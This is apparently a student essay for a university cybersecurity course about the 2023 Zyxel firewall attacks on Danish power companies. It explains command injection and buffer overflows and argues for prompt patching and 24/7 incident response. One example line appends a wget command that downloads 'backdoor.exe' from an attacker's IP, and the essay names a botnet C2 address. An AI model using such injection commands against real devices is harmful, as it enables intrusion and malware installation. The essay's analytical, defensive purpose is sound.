# Vulnerable Zyxel Firewalls Enable Attacks Against Danish Critical Infrastructure

Andy Bowles

School of Cybersecurity, Old Dominion University

CS 462: Cybersecurity Fundamentals

Nasreen Arif

November 24th, 2024

**Vulnerable Zyxel Firewalls Enable Attacks Against Danish Critical Infrastructure**

In May of 2023, several of Denmark's network-connected power facilities were disrupted when they were the victim of an attack targeting Zyxel firewalls (Arghire, 2023). While these 22 facilities were able to continue providing sufficient output for their customers during the attack and to remediate the issue quickly, their operations were significantly impacted because they were not able to coordinate with one another (Antoniuk, 2023). This essay will address the attack's technical details and implications and what similar facilities and organizations can do to prevent falling victim to similar cyberattacks.

The first in this series of attacks targeted CVE-2023-28771 (Antoniuk, 2023), which involves sending a malicious packet to the Zyxel firewalls over UDP port 500 and taking advantage of their implementation of Internet Key Exchange (IKE) protocol (Braithwaite, 2023). When appropriately implemented, IKE is designed to negotiate and establish secure VPN connections between the two participating devices through key exchange, encryption, host authentication, and replay protection (Zola & Gillis, 2022). However, a flaw in how Zyxel's firewalls handled messages bound for UDP port 500 allowed attackers to access a root shell and execute commands on the devices not intended by their creators (Braithwaite, 2023; Forescout, 2024).

Specifically, CVE-2023-28771 is an OS command injection vulnerability that allows non-authenticated users to execute root-level commands on unpatched Zyxel firewalls (Forescout, 2024). While many programs commonly call upon the OS and issue commands, a lack of proper input validation can provide bad actors with a substantial opportunity to gain control over a system (Invicti, 2024). When a program accepts user input that it will include with an OS command and passes to an OS shell, ensuring the input of an expected type and format is

essential because multiple commands can be concatenated into a single line. If the application passing OS commands has root privileges, an attacker can execute almost any code they desire (Spasojevic, 2024).

Given that the affected Zyxel firewalls were Linux-based (Lin, 2023), an attacker exploiting CVE-2023-28771 could use an ampersand to attach an OS command to the end of the intended input (Whittaker, 2023). Detailed analysis of traffic captured during attacks targeting CVE-2023-28771 reveals that many compromised devices connected to command and control (C2) servers and received “curl” and “wget” commands directing them to download script files that fulfill various purposes from the attackers’ servers (Lin, 2023). As an example, consider that the attacker wanted to download malware called “backdoor.exe” from the C2 server with the IP address 92.118.39.16. With an OS command injection vulnerability like CVE-2023-28771, they could execute a “wget” command to download this payload by appending it to the expected, invalidated input as follows: “[expeted input] & wget http://92.118.39.16/backdoor.exe”. Once the payload has been downloaded to the victim's device, the attacker can use similar techniques to use commands that can configure, run, and schedule the payload.

For the first wave of attacks exploiting CVE-2023-28771, there is substantial evidence that it was carefully coordinated and narrowly targeted at Danish power companies (SektorCERT, 2023). Notably, of all the devices on the organizations’ networks, only 16 Zyxel firewalls received traffic with the command needed to establish a root shell connection. However, despite receiving the commands, 5 of the targets failed to execute them. Another indicator of the attacker’s focused intention is that the malicious packets were sent to the 16 targets simultaneously. This would be advantageous to the attackers because doing so would put

considerable strain on the incident response team, potentially enabling them to gather more information and create a stronger foothold before the vulnerabilities could be remediated.

Less than two weeks after the first attack, eleven more Danish power companies were attacked using two zero-day vulnerabilities, CVE-2023-33009 and CVE-2023-33010 (SektorCERT, 2023). These are buffer overflow vulnerabilities that can enable a bad actor to launch a denial-of-service (DoS) attack against a victim or perform arbitrary code execution (Burton, 2023). While a buffer overflow vulnerability is similar to the OS command injection vulnerability of CVE-2023-28771 in that it can provide high-level control over a device, it varies in distinct and meaningful ways. In contrast to OS command injection, arbitrary code execution involves manipulating a victim into running malicious code rather than simply issuing commands to the operating system (OWASP, 2024). Generally, a buffer overflow occurs when a variable receives more data than was allocated in memory for it, which can cause various outcomes. For instance, a buffer overflow could cause DoS conditions by writing data into adjacent memory locations that the system or a program is unable to parse, causing it to crash (Veracode, 2024).

However, an attacker can also use a buffer overflow attack to take advantage of the call stack and return pointers to execute malicious code using carefully crafted input (OWASP, 2024). An application's call stack is a way to keep track of the order in which functions are called (MDN Web Docs, 2024). When an application calls a function, it must execute code in another section of memory. In order to know where to return to once the function has run, the call stack creates a hierarchy of functions. When a new function is called, it is added to the top of the call stack, and it is removed from the top of the call stack after it is successfully executed. The call

stack also contains return pointers that enable the application to know to return to the function contained in the next-lower level in the call stack.

Since functions utilize return pointers to indicate where the program must return to when the function ends (OWASP, 2024), overwriting data in the call stack can allow attackers to overwrite the return pointer to execute their own code. Many types of pointers exist, but generally speaking, a pointer contains the memory address of a variable or another section of code that the interpreter is supposed to execute next when the line of code containing the pointer is run (Geeks for Geeks, 2024). In a call stack, the pointer directing the interpreter back to the calling function lower in the stack is known as the frame pointer (Loventoft, 2018). Since the frame pointer is located higher in the call stack than the code of the currently running function, an attacker can use a buffer overflow to overwrite the initial frame pointer with their own, directing the interpreter to a different memory address with malicious code inserted earlier by the attacker.

Unlike the attack targeting CVE-2023-28771, the subsequent attacks on the 11 other power facilities occurred over four days (SektorCERT, 2023). Because these attacks were more spread out, there was some variation between them, allowing researchers to gather more information that differentiate them from the first wave of attacks. For instance, the first victim organization of the second wave observed that their Zyxel firewalls were directed to download files from a C2 server, which caused the firewalls to participate in a distributed denial of server (DDoS) attack. The DDoS attack patterns and the fact that the C2 server it was communicating with had an IP address of 185.44.81.122 and was listening on TCP 56999 indicate that the firewalls had been made part of the MooBot variant of the Mirai botnet. This was the case for many of the subsequent victims of the second wave of attacks. Additionally, the extent of the

impact of being part of this botnet varied among the victim organizations. While some of the organizations were able to maintain their infrastructure and communication with the rest of the grid, others voluntarily took their facilities offline until the issue was resolved or they received replacement equipment that was not vulnerable (SektorCERT, 2023). However, in two instances, the infected firewalls sent out enough DDoS traffic to overwhelm the network, halting communication entirely.

Further consideration of this case's details shows several lessons to be learned about the attack on Zyxel firewalls deployed and operated by the Danish power plants. The first attack targeting CVE-2023-28771 against these power plants was detected on May 11th, 2023 (Arghire, 2023). However, this would not have been a zero-day attack when it occurred, given that Zyxel released a patch and security advisory concerning this vulnerability on April 25th, 2023 (Zyxel Networks, 2023). This two-week difference shows that they could have swiftly and proactively corrected this issue to prevent ever falling victim to the first section of the attack. This idea is further reinforced by the fact that the first 11 compromised facilities secured their networks and thwarted the attack within 24 hours of its launch (Arghire, 2023). This draws attention to the importance of installing security updates as soon as and whenever possible. Without vigilantly applying security updates, the public announcement of the vulnerabilities fixed by patches will make an organization, especially high-profile ones, easy and attractive targets. Failing to update systems promptly will cause the open-source nature of cybersecurity to create the opposite of its intended effect.

Another important detail of this attack is that SektorCERT, an organization tasked with providing cybersecurity services to protect critical infrastructure in Denmark (Cyber Security Intelligence, 2024), was not staffed to handle cyber attacks outside of its business hours

(SektorCERT, 2023), which is currently 8 AM to 4 PM on weekdays (First, 2024). Because the first wave of attacks was not trivial to remediate, and several of the second wave attacks occurred outside of these operating hours, employees of SectorCERT had to work overtime throughout the night (SektorCERT, 2023). Given the global nature of the internet, it is severely inadequate to have regular time periods where critical infrastructure companies do not have access to ample cybersecurity resources. Bad actors live in every timezone and work around the clock. As a result, they could have had a greater opportunity to create a stronger foothold and take control of more of the infrastructure if the first attack had not occurred during working hours, potentially leaving many Danish citizens, hospitals, and businesses without power. Critical infrastructure companies must have access to 24/7 expert cybersecurity support to provide extra protection and enable quicker response times when they are victims of cyberattacks.

## References

Antoniuk, D. (2023, November 14). *Nearly two dozen Danish energy companies hacked through firewall bug in May*. The Record. https://therecord.media/danish-energy-companies-hacked-firewall-bug

Arghire, I. (2023, November 14). *22 energy firms hacked in largest coordinated attack on Denmark's critical infrastructure*. SecurityWeek. https://www.securityweek.com/22-energy-firms-hacked-in-largest-coordinated-attack-on-denmarks-critical-infrastructure/

Braithwaite, S. (2023, December 8). *Denmark faces largest cybersecurity incident to date*. University of Hawaii - West Oahu. https://westoahu.hawaii.edu/cyber/global-weekly-exec-summary/denmark-faces-largest-cybersecurity-incident-to-date/

Burton, D. (2023, June 5). *Widespread exploitation of Zyxel network devices*. Rapid7. https://www.rapid7.com/blog/post/2023/05/31/etr-widespread-exploitation-of-zyxel-network-devices/

Cyber Security Intelligence. (2024). *SektorCERT*. https://www.cybersecurityintelligence.com/sektorcert-10219.html

FIRST. (2024). *SektorCERT*. https://www.first.org/members/teams/sektorcert

Forescout Research. (2024, January 11). *Clearing the fog of war: A critical analysis of recent energy sector attacks in Denmark and Ukraine*. https://www.forescout.com/resources/clearing-the-fog-of-war/

GeeksforGeeks. (2024, May 2). *Types of pointer in programming*. https://www.geeksforgeeks.org/types-of-pointer-in-programming/

Invicti. (2024). *OS Command Injection*. https://www.invicti.com/learn/os-command-injection/

Lin, C. (2023, July 19). *DDoS botnets target Zyxel vulnerability CVE-2023-28771*. Fortinet. https://www.fortinet.com/blog/threat-research/ddos-botnets-target-zyxel-vulnerability-cve-2023-28771

Loventoft, P. K. (2018, November 12). *The call stack - or how to find your way to where you are going, and back again*. Medium. https://medium.com/computer-programming-and-so-can-you/the-call-stack-or-how-to-find-your-way-to-where-you-are-going-and-back-again-a40571e40566

MDN Web Docs. (2024). *Call stack*. https://developer.mozilla.org/en-US/docs/Glossary/Call_stack

OWASP. (2024). *Buffer overflow*. https://owasp.org/www-community/vulnerabilities/Buffer_Overflow

SectorCERT. (2024, November). *The attack against Danish, critical infrastructure*. https://sektorcert.dk/wp-content/uploads/2023/11/SektorCERT-The-attack-against-Danish-critical-infrastructure-TLP-CLEAR.pdf

Spasojevic, A. (2024, March 11). *What is root access/root privilege?* PhoenixNAP. https://phoenixnap.com/glossary/what-is-root-access

Veracode. (2024). *What Is a buffer overflow? Learn about buffer overrun vulnerabilities, exploits & attacks*. https://www.veracode.com/security/buffer-overflow

Whittaker, G. (2024, July 20). *Running Multiple Linux Commands Simultaneously*. Linux Journal. https://www.linuxjournal.com/content/mastering-terminal-command-execution-running-multiple-linux-commands-simultaneously

Zola, A., & Gillis, A. S. (2022, February). *Internet Key Exchange (IKE)*. TechTarget. https://www.techtarget.com/searchsecurity/definition/Internet-Key-Exchange

Zyxel Networks. (2023, April 25). *Zyxel security advisory for OS command injection vulnerability of firewalls*. https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-remote-command-injection-vulnerability-of-firewalls